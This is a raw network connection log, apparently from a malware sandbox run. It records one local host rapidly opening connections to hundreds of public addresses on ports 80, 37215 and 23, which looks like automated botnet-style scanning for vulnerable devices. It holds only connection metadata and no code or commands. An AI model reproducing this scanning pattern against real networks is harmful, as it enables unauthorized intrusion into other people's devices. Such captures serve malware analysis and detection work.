Jan 5, 2025 14:26:51.625567913 CET	56958	80	192.168.2.13	137.54.49.10
Jan 5, 2025 14:26:51.625567913 CET	56958	80	192.168.2.13	51.109.203.222
Jan 5, 2025 14:26:51.625567913 CET	56958	80	192.168.2.13	19.134.154.246
Jan 5, 2025 14:26:51.625591040 CET	56958	80	192.168.2.13	197.42.120.229
Jan 5, 2025 14:26:51.625591040 CET	56958	80	192.168.2.13	150.244.187.110
Jan 5, 2025 14:26:51.625593901 CET	56958	80	192.168.2.13	69.88.142.201
Jan 5, 2025 14:26:51.625612020 CET	56958	80	192.168.2.13	107.232.156.26
Jan 5, 2025 14:26:51.625612974 CET	56958	80	192.168.2.13	166.158.94.24
Jan 5, 2025 14:26:51.625613928 CET	56958	80	192.168.2.13	53.78.58.214
Jan 5, 2025 14:26:51.625613928 CET	56958	80	192.168.2.13	193.49.74.154
Jan 5, 2025 14:26:51.625616074 CET	56958	80	192.168.2.13	118.71.162.38
Jan 5, 2025 14:26:51.625617981 CET	56958	80	192.168.2.13	4.30.111.242
Jan 5, 2025 14:26:51.625622034 CET	56958	80	192.168.2.13	47.230.31.200
Jan 5, 2025 14:26:51.625627995 CET	56958	80	192.168.2.13	199.227.198.108
Jan 5, 2025 14:26:51.625638962 CET	56958	80	192.168.2.13	169.169.103.75
Jan 5, 2025 14:26:51.625647068 CET	56958	80	192.168.2.13	128.169.146.95
Jan 5, 2025 14:26:51.625660896 CET	56958	80	192.168.2.13	57.112.71.136
Jan 5, 2025 14:26:51.625662088 CET	56958	80	192.168.2.13	109.13.155.203
Jan 5, 2025 14:26:51.625678062 CET	56958	80	192.168.2.13	9.125.243.91
Jan 5, 2025 14:26:51.625679016 CET	56958	80	192.168.2.13	109.138.34.37
Jan 5, 2025 14:26:51.625680923 CET	56958	80	192.168.2.13	141.240.71.42
Jan 5, 2025 14:26:51.625696898 CET	56958	80	192.168.2.13	216.128.123.60
Jan 5, 2025 14:26:51.625696898 CET	56958	80	192.168.2.13	90.179.226.218
Jan 5, 2025 14:26:51.625699997 CET	56958	80	192.168.2.13	199.194.98.125
Jan 5, 2025 14:26:51.625699997 CET	56958	80	192.168.2.13	68.234.71.239
Jan 5, 2025 14:26:51.625718117 CET	56958	80	192.168.2.13	160.247.120.113
Jan 5, 2025 14:26:51.625725985 CET	56958	80	192.168.2.13	207.59.5.230
Jan 5, 2025 14:26:51.625730038 CET	56958	80	192.168.2.13	205.193.72.6
Jan 5, 2025 14:26:51.625736952 CET	56958	80	192.168.2.13	31.181.5.203
Jan 5, 2025 14:26:51.625739098 CET	56958	80	192.168.2.13	5.246.92.147
Jan 5, 2025 14:26:51.625742912 CET	56958	80	192.168.2.13	117.83.46.248
Jan 5, 2025 14:26:51.625750065 CET	56958	80	192.168.2.13	146.21.8.187
Jan 5, 2025 14:26:51.625755072 CET	56958	80	192.168.2.13	35.36.145.29
Jan 5, 2025 14:26:51.625760078 CET	56958	80	192.168.2.13	182.203.12.14
Jan 5, 2025 14:26:51.625771999 CET	56958	80	192.168.2.13	152.159.234.63
Jan 5, 2025 14:26:51.625771999 CET	56958	80	192.168.2.13	111.145.238.227
Jan 5, 2025 14:26:51.625778913 CET	56958	80	192.168.2.13	167.241.100.189
Jan 5, 2025 14:26:51.625790119 CET	56958	80	192.168.2.13	150.171.241.31
Jan 5, 2025 14:26:51.625793934 CET	56958	80	192.168.2.13	184.195.240.22
Jan 5, 2025 14:26:51.625794888 CET	56958	80	192.168.2.13	98.152.253.185
Jan 5, 2025 14:26:51.625802040 CET	56958	80	192.168.2.13	126.192.121.183
Jan 5, 2025 14:26:51.625803947 CET	56958	80	192.168.2.13	106.188.113.140
Jan 5, 2025 14:26:51.625804901 CET	56958	80	192.168.2.13	182.37.130.217
Jan 5, 2025 14:26:51.625807047 CET	56958	80	192.168.2.13	111.113.69.102
Jan 5, 2025 14:26:51.625809908 CET	56958	80	192.168.2.13	83.152.208.73
Jan 5, 2025 14:26:51.625827074 CET	56958	80	192.168.2.13	68.147.241.108
Jan 5, 2025 14:26:51.625825882 CET	56958	80	192.168.2.13	67.244.250.26
Jan 5, 2025 14:26:51.625827074 CET	56958	80	192.168.2.13	76.247.88.164
Jan 5, 2025 14:26:51.625832081 CET	56958	80	192.168.2.13	32.108.248.121
Jan 5, 2025 14:26:51.625832081 CET	56958	80	192.168.2.13	89.126.233.184
Jan 5, 2025 14:26:51.625838041 CET	56958	80	192.168.2.13	218.244.39.86
Jan 5, 2025 14:26:51.625838995 CET	56958	80	192.168.2.13	115.94.142.11
Jan 5, 2025 14:26:51.625853062 CET	56958	80	192.168.2.13	85.223.217.121
Jan 5, 2025 14:26:51.625855923 CET	56958	80	192.168.2.13	203.17.84.74
Jan 5, 2025 14:26:51.625869989 CET	56958	80	192.168.2.13	179.232.239.252
Jan 5, 2025 14:26:51.625873089 CET	56958	80	192.168.2.13	73.212.27.54
Jan 5, 2025 14:26:51.625888109 CET	56958	80	192.168.2.13	64.50.235.51
Jan 5, 2025 14:26:51.625890017 CET	56958	80	192.168.2.13	162.85.6.177
Jan 5, 2025 14:26:51.625891924 CET	56958	80	192.168.2.13	4.232.150.149
Jan 5, 2025 14:26:51.625905991 CET	56958	80	192.168.2.13	97.90.222.48
Jan 5, 2025 14:26:51.625914097 CET	56958	80	192.168.2.13	179.23.248.192
Jan 5, 2025 14:26:51.625914097 CET	56958	80	192.168.2.13	101.91.106.66
Jan 5, 2025 14:26:51.625915051 CET	56958	80	192.168.2.13	173.91.108.48
Jan 5, 2025 14:26:51.625915051 CET	56958	80	192.168.2.13	71.60.139.244
Jan 5, 2025 14:26:51.625915051 CET	56958	80	192.168.2.13	13.238.222.36
Jan 5, 2025 14:26:51.625922918 CET	56958	80	192.168.2.13	171.252.111.37
Jan 5, 2025 14:26:51.625931978 CET	56958	80	192.168.2.13	164.82.210.203
Jan 5, 2025 14:26:51.625937939 CET	56958	80	192.168.2.13	92.79.252.167
Jan 5, 2025 14:26:51.625941992 CET	56958	80	192.168.2.13	74.75.193.70
Jan 5, 2025 14:26:51.625941992 CET	56958	80	192.168.2.13	131.180.113.157
Jan 5, 2025 14:26:51.625945091 CET	56958	80	192.168.2.13	124.49.189.230
Jan 5, 2025 14:26:51.625962019 CET	56958	80	192.168.2.13	180.20.230.187
Jan 5, 2025 14:26:51.625962973 CET	56958	80	192.168.2.13	110.136.230.75
Jan 5, 2025 14:26:51.625962973 CET	56958	80	192.168.2.13	181.62.229.214
Jan 5, 2025 14:26:51.625962973 CET	56958	80	192.168.2.13	187.5.186.123
Jan 5, 2025 14:26:51.625962973 CET	56958	80	192.168.2.13	147.215.37.202
Jan 5, 2025 14:26:51.625962973 CET	56958	80	192.168.2.13	8.117.140.87
Jan 5, 2025 14:26:51.625963926 CET	56958	80	192.168.2.13	223.219.51.151
Jan 5, 2025 14:26:51.625969887 CET	56958	80	192.168.2.13	83.209.195.152
Jan 5, 2025 14:26:51.625978947 CET	56958	80	192.168.2.13	122.16.142.216
Jan 5, 2025 14:26:51.625978947 CET	56958	80	192.168.2.13	76.82.49.93
Jan 5, 2025 14:26:51.625978947 CET	56958	80	192.168.2.13	8.123.106.37
Jan 5, 2025 14:26:51.625983000 CET	56958	80	192.168.2.13	25.116.168.145
Jan 5, 2025 14:26:51.625983000 CET	56958	80	192.168.2.13	178.164.223.250
Jan 5, 2025 14:26:51.625983953 CET	56958	80	192.168.2.13	109.89.128.219
Jan 5, 2025 14:26:51.625983953 CET	56958	80	192.168.2.13	23.174.148.168
Jan 5, 2025 14:26:51.625988960 CET	56958	80	192.168.2.13	216.123.221.253
Jan 5, 2025 14:26:51.625988960 CET	56958	80	192.168.2.13	1.210.236.103
Jan 5, 2025 14:26:51.626007080 CET	56958	80	192.168.2.13	209.208.179.58
Jan 5, 2025 14:26:51.626009941 CET	56958	80	192.168.2.13	209.126.54.135
Jan 5, 2025 14:26:51.626009941 CET	56958	80	192.168.2.13	23.87.208.153
Jan 5, 2025 14:26:51.626024961 CET	56958	80	192.168.2.13	51.118.9.107
Jan 5, 2025 14:26:51.626027107 CET	56958	80	192.168.2.13	13.51.67.195
Jan 5, 2025 14:26:51.626027107 CET	56958	80	192.168.2.13	47.42.248.68
Jan 5, 2025 14:26:51.626033068 CET	56958	80	192.168.2.13	111.66.116.167
Jan 5, 2025 14:26:51.626035929 CET	56958	80	192.168.2.13	50.12.227.86
Jan 5, 2025 14:26:51.626039028 CET	56958	80	192.168.2.13	25.81.198.24
Jan 5, 2025 14:26:51.626046896 CET	56958	80	192.168.2.13	77.108.32.171
Jan 5, 2025 14:26:51.626046896 CET	56958	80	192.168.2.13	165.84.141.183
Jan 5, 2025 14:26:51.626046896 CET	56958	80	192.168.2.13	102.219.56.74
Jan 5, 2025 14:26:51.626049995 CET	56958	80	192.168.2.13	93.141.167.77
Jan 5, 2025 14:26:51.626049995 CET	56958	80	192.168.2.13	27.17.75.81
Jan 5, 2025 14:26:51.626049995 CET	56958	80	192.168.2.13	171.19.213.170
Jan 5, 2025 14:26:51.626049995 CET	56958	80	192.168.2.13	77.184.15.8
Jan 5, 2025 14:26:51.626049995 CET	56958	80	192.168.2.13	148.162.39.83
Jan 5, 2025 14:26:51.626055956 CET	56958	80	192.168.2.13	137.63.148.36
Jan 5, 2025 14:26:51.626070023 CET	56958	80	192.168.2.13	84.11.223.176
Jan 5, 2025 14:26:51.626070023 CET	56958	80	192.168.2.13	120.11.168.68
Jan 5, 2025 14:26:51.626071930 CET	56958	80	192.168.2.13	148.126.30.46
Jan 5, 2025 14:26:51.626074076 CET	56958	80	192.168.2.13	204.7.32.195
Jan 5, 2025 14:26:51.626086950 CET	56958	80	192.168.2.13	96.124.14.15
Jan 5, 2025 14:26:51.626092911 CET	56958	80	192.168.2.13	209.37.171.178
Jan 5, 2025 14:26:51.626092911 CET	56958	80	192.168.2.13	50.1.193.254
Jan 5, 2025 14:26:51.626092911 CET	56958	80	192.168.2.13	219.150.177.135
Jan 5, 2025 14:26:51.626097918 CET	56958	80	192.168.2.13	132.27.95.154
Jan 5, 2025 14:26:51.626097918 CET	56958	80	192.168.2.13	222.75.82.98
Jan 5, 2025 14:26:51.626113892 CET	56958	80	192.168.2.13	31.153.183.11
Jan 5, 2025 14:26:51.626113892 CET	56958	80	192.168.2.13	150.245.210.244
Jan 5, 2025 14:26:51.626116037 CET	56958	80	192.168.2.13	170.43.176.235
Jan 5, 2025 14:26:51.626131058 CET	56958	80	192.168.2.13	138.180.176.21
Jan 5, 2025 14:26:51.626132965 CET	56958	80	192.168.2.13	157.147.217.66
Jan 5, 2025 14:26:51.626147032 CET	56958	80	192.168.2.13	18.38.94.123
Jan 5, 2025 14:26:51.626147032 CET	56958	80	192.168.2.13	188.19.88.250
Jan 5, 2025 14:26:51.626147032 CET	56958	80	192.168.2.13	38.235.85.77
Jan 5, 2025 14:26:51.626152039 CET	56958	80	192.168.2.13	27.230.168.225
Jan 5, 2025 14:26:51.626153946 CET	56958	80	192.168.2.13	41.75.201.67
Jan 5, 2025 14:26:51.626156092 CET	56958	80	192.168.2.13	182.57.130.71
Jan 5, 2025 14:26:51.626156092 CET	56958	80	192.168.2.13	59.166.215.132
Jan 5, 2025 14:26:51.626156092 CET	56958	80	192.168.2.13	103.9.183.16
Jan 5, 2025 14:26:51.626156092 CET	56958	80	192.168.2.13	73.189.63.219
Jan 5, 2025 14:26:51.626173019 CET	56958	80	192.168.2.13	102.108.157.30
Jan 5, 2025 14:26:51.626178026 CET	56958	80	192.168.2.13	80.63.222.16
Jan 5, 2025 14:26:51.626178980 CET	56958	80	192.168.2.13	75.167.106.251
Jan 5, 2025 14:26:51.626183987 CET	56958	80	192.168.2.13	64.239.12.213
Jan 5, 2025 14:26:51.626183987 CET	56958	80	192.168.2.13	173.18.37.112
Jan 5, 2025 14:26:51.626183987 CET	56958	80	192.168.2.13	204.154.85.87
Jan 5, 2025 14:26:51.626184940 CET	56958	80	192.168.2.13	35.85.123.210
Jan 5, 2025 14:26:51.626194000 CET	56958	80	192.168.2.13	171.65.59.39
Jan 5, 2025 14:26:51.626204014 CET	56958	80	192.168.2.13	105.240.152.122
Jan 5, 2025 14:26:51.626218081 CET	56958	80	192.168.2.13	213.112.93.107
Jan 5, 2025 14:26:51.626221895 CET	56958	80	192.168.2.13	119.142.210.183
Jan 5, 2025 14:26:51.626221895 CET	56958	80	192.168.2.13	161.148.227.71
Jan 5, 2025 14:26:51.626226902 CET	56958	80	192.168.2.13	113.50.5.207
Jan 5, 2025 14:26:51.626235008 CET	56958	80	192.168.2.13	64.88.0.112
Jan 5, 2025 14:26:51.626247883 CET	56958	80	192.168.2.13	176.131.59.79
Jan 5, 2025 14:26:51.626251936 CET	56958	80	192.168.2.13	9.23.220.40
Jan 5, 2025 14:26:51.626252890 CET	56958	80	192.168.2.13	189.207.49.250
Jan 5, 2025 14:26:51.626255989 CET	56958	80	192.168.2.13	200.1.119.165
Jan 5, 2025 14:26:51.626255989 CET	56958	80	192.168.2.13	98.75.154.12
Jan 5, 2025 14:26:51.626271963 CET	56958	80	192.168.2.13	138.213.72.40
Jan 5, 2025 14:26:51.626274109 CET	56958	80	192.168.2.13	156.156.74.159
Jan 5, 2025 14:26:51.626285076 CET	56958	80	192.168.2.13	170.77.229.10
Jan 5, 2025 14:26:51.626476049 CET	56446	37215	192.168.2.13	156.134.74.33
Jan 5, 2025 14:26:51.626476049 CET	56446	37215	192.168.2.13	156.174.42.70
Jan 5, 2025 14:26:51.626492023 CET	56446	37215	192.168.2.13	156.21.75.90
Jan 5, 2025 14:26:51.626496077 CET	56446	37215	192.168.2.13	197.83.123.70
Jan 5, 2025 14:26:51.626497030 CET	56446	37215	192.168.2.13	197.110.189.54
Jan 5, 2025 14:26:51.626497030 CET	56446	37215	192.168.2.13	197.181.109.176
Jan 5, 2025 14:26:51.626514912 CET	56446	37215	192.168.2.13	41.208.220.24
Jan 5, 2025 14:26:51.626518011 CET	56446	37215	192.168.2.13	197.244.114.8
Jan 5, 2025 14:26:51.626532078 CET	56446	37215	192.168.2.13	156.97.63.247
Jan 5, 2025 14:26:51.626533985 CET	56446	37215	192.168.2.13	197.165.224.160
Jan 5, 2025 14:26:51.626532078 CET	56446	37215	192.168.2.13	41.79.25.246
Jan 5, 2025 14:26:51.626537085 CET	56446	37215	192.168.2.13	197.195.165.11
Jan 5, 2025 14:26:51.626542091 CET	56446	37215	192.168.2.13	41.102.138.236
Jan 5, 2025 14:26:51.626542091 CET	56446	37215	192.168.2.13	41.156.112.76
Jan 5, 2025 14:26:51.626542091 CET	56446	37215	192.168.2.13	41.55.109.46
Jan 5, 2025 14:26:51.626554966 CET	56446	37215	192.168.2.13	41.112.138.230
Jan 5, 2025 14:26:51.626557112 CET	56446	37215	192.168.2.13	156.174.76.208
Jan 5, 2025 14:26:51.626559019 CET	56446	37215	192.168.2.13	156.205.155.31
Jan 5, 2025 14:26:51.626563072 CET	56446	37215	192.168.2.13	41.164.52.142
Jan 5, 2025 14:26:51.626564980 CET	56446	37215	192.168.2.13	197.147.218.83
Jan 5, 2025 14:26:51.626570940 CET	56446	37215	192.168.2.13	156.129.82.23
Jan 5, 2025 14:26:51.626570940 CET	56446	37215	192.168.2.13	197.45.134.218
Jan 5, 2025 14:26:51.626585960 CET	56446	37215	192.168.2.13	197.50.190.223
Jan 5, 2025 14:26:51.626588106 CET	56446	37215	192.168.2.13	41.26.177.205
Jan 5, 2025 14:26:51.626595020 CET	56446	37215	192.168.2.13	41.225.135.237
Jan 5, 2025 14:26:51.626609087 CET	56446	37215	192.168.2.13	156.108.64.130
Jan 5, 2025 14:26:51.626610994 CET	56446	37215	192.168.2.13	197.48.242.228
Jan 5, 2025 14:26:51.626610994 CET	56446	37215	192.168.2.13	197.201.146.222
Jan 5, 2025 14:26:51.626616001 CET	56446	37215	192.168.2.13	41.215.17.224
Jan 5, 2025 14:26:51.626624107 CET	56446	37215	192.168.2.13	156.166.158.185
Jan 5, 2025 14:26:51.626627922 CET	56446	37215	192.168.2.13	41.27.136.29
Jan 5, 2025 14:26:51.626640081 CET	56446	37215	192.168.2.13	41.106.187.88
Jan 5, 2025 14:26:51.626646042 CET	56446	37215	192.168.2.13	197.111.250.133
Jan 5, 2025 14:26:51.626646996 CET	56446	37215	192.168.2.13	156.165.149.217
Jan 5, 2025 14:26:51.626652956 CET	56446	37215	192.168.2.13	41.183.155.73
Jan 5, 2025 14:26:51.626673937 CET	56446	37215	192.168.2.13	197.2.65.72
Jan 5, 2025 14:26:51.626674891 CET	56446	37215	192.168.2.13	197.211.147.93
Jan 5, 2025 14:26:51.626674891 CET	56446	37215	192.168.2.13	41.186.82.169
Jan 5, 2025 14:26:51.626679897 CET	56446	37215	192.168.2.13	41.78.118.117
Jan 5, 2025 14:26:51.626679897 CET	56446	37215	192.168.2.13	41.110.100.111
Jan 5, 2025 14:26:51.626679897 CET	56446	37215	192.168.2.13	41.11.187.97
Jan 5, 2025 14:26:51.626679897 CET	56446	37215	192.168.2.13	41.208.188.202
Jan 5, 2025 14:26:51.626694918 CET	56446	37215	192.168.2.13	41.73.45.92
Jan 5, 2025 14:26:51.626698971 CET	56446	37215	192.168.2.13	156.27.23.7
Jan 5, 2025 14:26:51.626703024 CET	56446	37215	192.168.2.13	41.143.226.66
Jan 5, 2025 14:26:51.626703978 CET	56446	37215	192.168.2.13	156.73.7.100
Jan 5, 2025 14:26:51.626708984 CET	56446	37215	192.168.2.13	156.34.183.249
Jan 5, 2025 14:26:51.626729965 CET	56446	37215	192.168.2.13	197.17.189.247
Jan 5, 2025 14:26:51.626729965 CET	56446	37215	192.168.2.13	41.165.18.58
Jan 5, 2025 14:26:51.626729965 CET	56446	37215	192.168.2.13	156.178.109.205
Jan 5, 2025 14:26:51.626732111 CET	56446	37215	192.168.2.13	197.147.137.124
Jan 5, 2025 14:26:51.626734018 CET	56446	37215	192.168.2.13	197.247.237.64
Jan 5, 2025 14:26:51.626734018 CET	56446	37215	192.168.2.13	41.132.121.3
Jan 5, 2025 14:26:51.626744986 CET	56446	37215	192.168.2.13	41.230.122.200
Jan 5, 2025 14:26:51.626754999 CET	56446	37215	192.168.2.13	41.60.18.172
Jan 5, 2025 14:26:51.626759052 CET	56446	37215	192.168.2.13	156.182.251.199
Jan 5, 2025 14:26:51.626765966 CET	56446	37215	192.168.2.13	156.55.93.35
Jan 5, 2025 14:26:51.626765966 CET	56446	37215	192.168.2.13	197.241.56.10
Jan 5, 2025 14:26:51.626776934 CET	56446	37215	192.168.2.13	197.197.62.77
Jan 5, 2025 14:26:51.626784086 CET	56446	37215	192.168.2.13	197.173.190.77
Jan 5, 2025 14:26:51.626794100 CET	56446	37215	192.168.2.13	41.169.111.168
Jan 5, 2025 14:26:51.626794100 CET	56446	37215	192.168.2.13	197.111.224.196
Jan 5, 2025 14:26:51.626794100 CET	56446	37215	192.168.2.13	197.64.186.158
Jan 5, 2025 14:26:51.626796961 CET	56446	37215	192.168.2.13	197.139.97.192
Jan 5, 2025 14:26:51.626796961 CET	56446	37215	192.168.2.13	41.27.191.145
Jan 5, 2025 14:26:51.626801014 CET	56446	37215	192.168.2.13	41.8.165.34
Jan 5, 2025 14:26:51.626802921 CET	56446	37215	192.168.2.13	197.47.209.225
Jan 5, 2025 14:26:51.626820087 CET	56446	37215	192.168.2.13	197.200.69.177
Jan 5, 2025 14:26:51.626821995 CET	56446	37215	192.168.2.13	197.44.172.209
Jan 5, 2025 14:26:51.626827955 CET	56446	37215	192.168.2.13	41.88.97.146
Jan 5, 2025 14:26:51.626835108 CET	56446	37215	192.168.2.13	156.63.45.191
Jan 5, 2025 14:26:51.626840115 CET	56446	37215	192.168.2.13	156.169.221.247
Jan 5, 2025 14:26:51.626848936 CET	56446	37215	192.168.2.13	197.46.184.148
Jan 5, 2025 14:26:51.626861095 CET	56446	37215	192.168.2.13	197.93.179.241
Jan 5, 2025 14:26:51.626863956 CET	56446	37215	192.168.2.13	197.238.170.42
Jan 5, 2025 14:26:51.626867056 CET	56446	37215	192.168.2.13	41.48.72.70
Jan 5, 2025 14:26:51.626874924 CET	56446	37215	192.168.2.13	41.116.33.218
Jan 5, 2025 14:26:51.626884937 CET	56446	37215	192.168.2.13	197.198.165.34
Jan 5, 2025 14:26:51.626884937 CET	56446	37215	192.168.2.13	156.130.198.71
Jan 5, 2025 14:26:51.626898050 CET	56446	37215	192.168.2.13	156.172.123.6
Jan 5, 2025 14:26:51.626903057 CET	56446	37215	192.168.2.13	156.38.14.27
Jan 5, 2025 14:26:51.626914978 CET	56446	37215	192.168.2.13	197.132.69.241
Jan 5, 2025 14:26:51.626916885 CET	56446	37215	192.168.2.13	197.187.82.50
Jan 5, 2025 14:26:51.626934052 CET	56446	37215	192.168.2.13	156.39.44.195
Jan 5, 2025 14:26:51.626935959 CET	56446	37215	192.168.2.13	156.240.117.116
Jan 5, 2025 14:26:51.626935959 CET	56446	37215	192.168.2.13	156.183.181.134
Jan 5, 2025 14:26:51.626940012 CET	56446	37215	192.168.2.13	156.151.243.16
Jan 5, 2025 14:26:51.626944065 CET	56446	37215	192.168.2.13	156.228.117.128
Jan 5, 2025 14:26:51.626951933 CET	56446	37215	192.168.2.13	197.118.110.37
Jan 5, 2025 14:26:51.626956940 CET	56446	37215	192.168.2.13	41.175.240.42
Jan 5, 2025 14:26:51.626969099 CET	56446	37215	192.168.2.13	156.229.8.157
Jan 5, 2025 14:26:51.626971006 CET	56446	37215	192.168.2.13	197.42.2.75
Jan 5, 2025 14:26:51.626980066 CET	56446	37215	192.168.2.13	197.134.145.108
Jan 5, 2025 14:26:51.626986027 CET	56446	37215	192.168.2.13	156.152.33.255
Jan 5, 2025 14:26:51.626987934 CET	56446	37215	192.168.2.13	41.5.57.253
Jan 5, 2025 14:26:51.627005100 CET	56446	37215	192.168.2.13	156.142.33.246
Jan 5, 2025 14:26:51.627007008 CET	56446	37215	192.168.2.13	41.110.226.157
Jan 5, 2025 14:26:51.627007961 CET	56446	37215	192.168.2.13	156.65.15.10
Jan 5, 2025 14:26:51.627007961 CET	56446	37215	192.168.2.13	197.111.209.175
Jan 5, 2025 14:26:51.627007961 CET	56446	37215	192.168.2.13	156.124.181.224
Jan 5, 2025 14:26:51.627015114 CET	56446	37215	192.168.2.13	41.42.115.152
Jan 5, 2025 14:26:51.627027988 CET	56446	37215	192.168.2.13	156.110.243.231
Jan 5, 2025 14:26:51.627032042 CET	56446	37215	192.168.2.13	156.112.248.116
Jan 5, 2025 14:26:51.627034903 CET	56446	37215	192.168.2.13	41.255.244.245
Jan 5, 2025 14:26:51.627048969 CET	56446	37215	192.168.2.13	41.31.77.112
Jan 5, 2025 14:26:51.627048969 CET	56446	37215	192.168.2.13	197.99.12.166
Jan 5, 2025 14:26:51.627062082 CET	56446	37215	192.168.2.13	197.243.193.47
Jan 5, 2025 14:26:51.627062082 CET	56446	37215	192.168.2.13	197.103.238.235
Jan 5, 2025 14:26:51.627062082 CET	56446	37215	192.168.2.13	156.185.28.168
Jan 5, 2025 14:26:51.627077103 CET	56446	37215	192.168.2.13	41.250.212.86
Jan 5, 2025 14:26:51.627083063 CET	56446	37215	192.168.2.13	41.54.26.182
Jan 5, 2025 14:26:51.627083063 CET	56446	37215	192.168.2.13	197.86.199.54
Jan 5, 2025 14:26:51.627093077 CET	56446	37215	192.168.2.13	156.20.103.134
Jan 5, 2025 14:26:51.627099991 CET	56446	37215	192.168.2.13	156.44.188.156
Jan 5, 2025 14:26:51.627105951 CET	56446	37215	192.168.2.13	41.61.86.87
Jan 5, 2025 14:26:51.627105951 CET	56446	37215	192.168.2.13	197.58.217.248
Jan 5, 2025 14:26:51.627135038 CET	56446	37215	192.168.2.13	156.24.93.76
Jan 5, 2025 14:26:51.627136946 CET	56446	37215	192.168.2.13	41.81.211.227
Jan 5, 2025 14:26:51.627137899 CET	56446	37215	192.168.2.13	156.225.92.133
Jan 5, 2025 14:26:51.627136946 CET	56446	37215	192.168.2.13	156.196.173.142
Jan 5, 2025 14:26:51.627140045 CET	56446	37215	192.168.2.13	156.81.108.30
Jan 5, 2025 14:26:51.627140045 CET	56446	37215	192.168.2.13	197.109.28.187
Jan 5, 2025 14:26:51.627141953 CET	56446	37215	192.168.2.13	197.87.25.96
Jan 5, 2025 14:26:51.627141953 CET	56446	37215	192.168.2.13	41.119.132.142
Jan 5, 2025 14:26:51.627142906 CET	56446	37215	192.168.2.13	156.44.252.26
Jan 5, 2025 14:26:51.627142906 CET	56446	37215	192.168.2.13	41.83.122.124
Jan 5, 2025 14:26:51.627142906 CET	56446	37215	192.168.2.13	41.221.198.106
Jan 5, 2025 14:26:51.627142906 CET	56446	37215	192.168.2.13	41.35.79.159
Jan 5, 2025 14:26:51.627145052 CET	56446	37215	192.168.2.13	197.178.110.95
Jan 5, 2025 14:26:51.627154112 CET	56446	37215	192.168.2.13	41.139.43.150
Jan 5, 2025 14:26:51.627152920 CET	56446	37215	192.168.2.13	197.29.30.19
Jan 5, 2025 14:26:51.627152920 CET	56446	37215	192.168.2.13	156.146.194.131
Jan 5, 2025 14:26:51.627157927 CET	56446	37215	192.168.2.13	197.246.127.87
Jan 5, 2025 14:26:51.627157927 CET	56446	37215	192.168.2.13	197.30.231.14
Jan 5, 2025 14:26:51.627157927 CET	56446	37215	192.168.2.13	156.21.66.77
Jan 5, 2025 14:26:51.627160072 CET	56446	37215	192.168.2.13	41.172.169.114
Jan 5, 2025 14:26:51.627178907 CET	56446	37215	192.168.2.13	41.4.232.247
Jan 5, 2025 14:26:51.627178907 CET	56446	37215	192.168.2.13	41.199.86.122
Jan 5, 2025 14:26:51.627180099 CET	56446	37215	192.168.2.13	41.98.112.107
Jan 5, 2025 14:26:51.627181053 CET	56446	37215	192.168.2.13	156.88.195.58
Jan 5, 2025 14:26:51.627181053 CET	56446	37215	192.168.2.13	41.38.212.91
Jan 5, 2025 14:26:51.627181053 CET	56446	37215	192.168.2.13	156.23.196.33
Jan 5, 2025 14:26:51.627182007 CET	56446	37215	192.168.2.13	41.171.52.154
Jan 5, 2025 14:26:51.627182007 CET	56446	37215	192.168.2.13	41.77.156.213
Jan 5, 2025 14:26:51.627182007 CET	56446	37215	192.168.2.13	156.194.67.64
Jan 5, 2025 14:26:51.627187967 CET	56446	37215	192.168.2.13	156.164.49.156
Jan 5, 2025 14:26:51.627182007 CET	56446	37215	192.168.2.13	41.201.215.118
Jan 5, 2025 14:26:51.627182007 CET	56446	37215	192.168.2.13	41.254.1.36
Jan 5, 2025 14:26:51.627194881 CET	56446	37215	192.168.2.13	41.152.209.115
Jan 5, 2025 14:26:51.627194881 CET	56446	37215	192.168.2.13	41.1.177.58
Jan 5, 2025 14:26:51.627182007 CET	56446	37215	192.168.2.13	41.148.94.237
Jan 5, 2025 14:26:51.627197027 CET	56446	37215	192.168.2.13	156.144.136.165
Jan 5, 2025 14:26:51.627193928 CET	56446	37215	192.168.2.13	197.199.124.87
Jan 5, 2025 14:26:51.627182007 CET	56446	37215	192.168.2.13	41.115.26.107
Jan 5, 2025 14:26:51.627182007 CET	56446	37215	192.168.2.13	197.44.171.30
Jan 5, 2025 14:26:51.627182007 CET	56446	37215	192.168.2.13	156.124.199.181
Jan 5, 2025 14:26:51.627202988 CET	56446	37215	192.168.2.13	156.191.240.23
Jan 5, 2025 14:26:51.627204895 CET	56446	37215	192.168.2.13	41.130.57.174
Jan 5, 2025 14:26:51.627208948 CET	56446	37215	192.168.2.13	197.191.228.203
Jan 5, 2025 14:26:51.627209902 CET	23	57214	94.244.106.186	192.168.2.13
Jan 5, 2025 14:26:51.627213955 CET	56446	37215	192.168.2.13	197.44.109.106
Jan 5, 2025 14:26:51.627213955 CET	56446	37215	192.168.2.13	197.138.83.17
Jan 5, 2025 14:26:51.627223015 CET	56446	37215	192.168.2.13	197.183.118.34
Jan 5, 2025 14:26:51.627228975 CET	56446	37215	192.168.2.13	41.39.194.85
Jan 5, 2025 14:26:51.627230883 CET	23	57214	36.224.198.39	192.168.2.13
Jan 5, 2025 14:26:51.627230883 CET	56446	37215	192.168.2.13	197.83.215.216
Jan 5, 2025 14:26:51.627233028 CET	56446	37215	192.168.2.13	41.110.30.56
Jan 5, 2025 14:26:51.627240896 CET	23	57214	49.214.132.79	192.168.2.13
Jan 5, 2025 14:26:51.627245903 CET	56446	37215	192.168.2.13	156.64.87.19
Jan 5, 2025 14:26:51.627252102 CET	23	57214	37.22.195.43	192.168.2.13
Jan 5, 2025 14:26:51.627260923 CET	23	57214	34.216.167.148	192.168.2.13
Jan 5, 2025 14:26:51.627269983 CET	57214	23	192.168.2.13	94.244.106.186
Jan 5, 2025 14:26:51.627269983 CET	23	57214	18.128.139.145	192.168.2.13
Jan 5, 2025 14:26:51.627279997 CET	23	57214	201.168.213.137	192.168.2.13
Jan 5, 2025 14:26:51.627283096 CET	57214	23	192.168.2.13	36.224.198.39
Jan 5, 2025 14:26:51.627283096 CET	57214	23	192.168.2.13	49.214.132.79
Jan 5, 2025 14:26:51.627289057 CET	23	57214	1.225.8.53	192.168.2.13
Jan 5, 2025 14:26:51.627293110 CET	57214	23	192.168.2.13	37.22.195.43
Jan 5, 2025 14:26:51.627299070 CET	23	57214	128.31.231.107	192.168.2.13
Jan 5, 2025 14:26:51.627302885 CET	57214	23	192.168.2.13	18.128.139.145
Jan 5, 2025 14:26:51.627307892 CET	23	57214	42.162.192.217	192.168.2.13
Jan 5, 2025 14:26:51.627316952 CET	57214	23	192.168.2.13	34.216.167.148
Jan 5, 2025 14:26:51.627322912 CET	23	57214	46.44.146.32	192.168.2.13
Jan 5, 2025 14:26:51.627327919 CET	57214	23	192.168.2.13	201.168.213.137
Jan 5, 2025 14:26:51.627327919 CET	57214	23	192.168.2.13	128.31.231.107
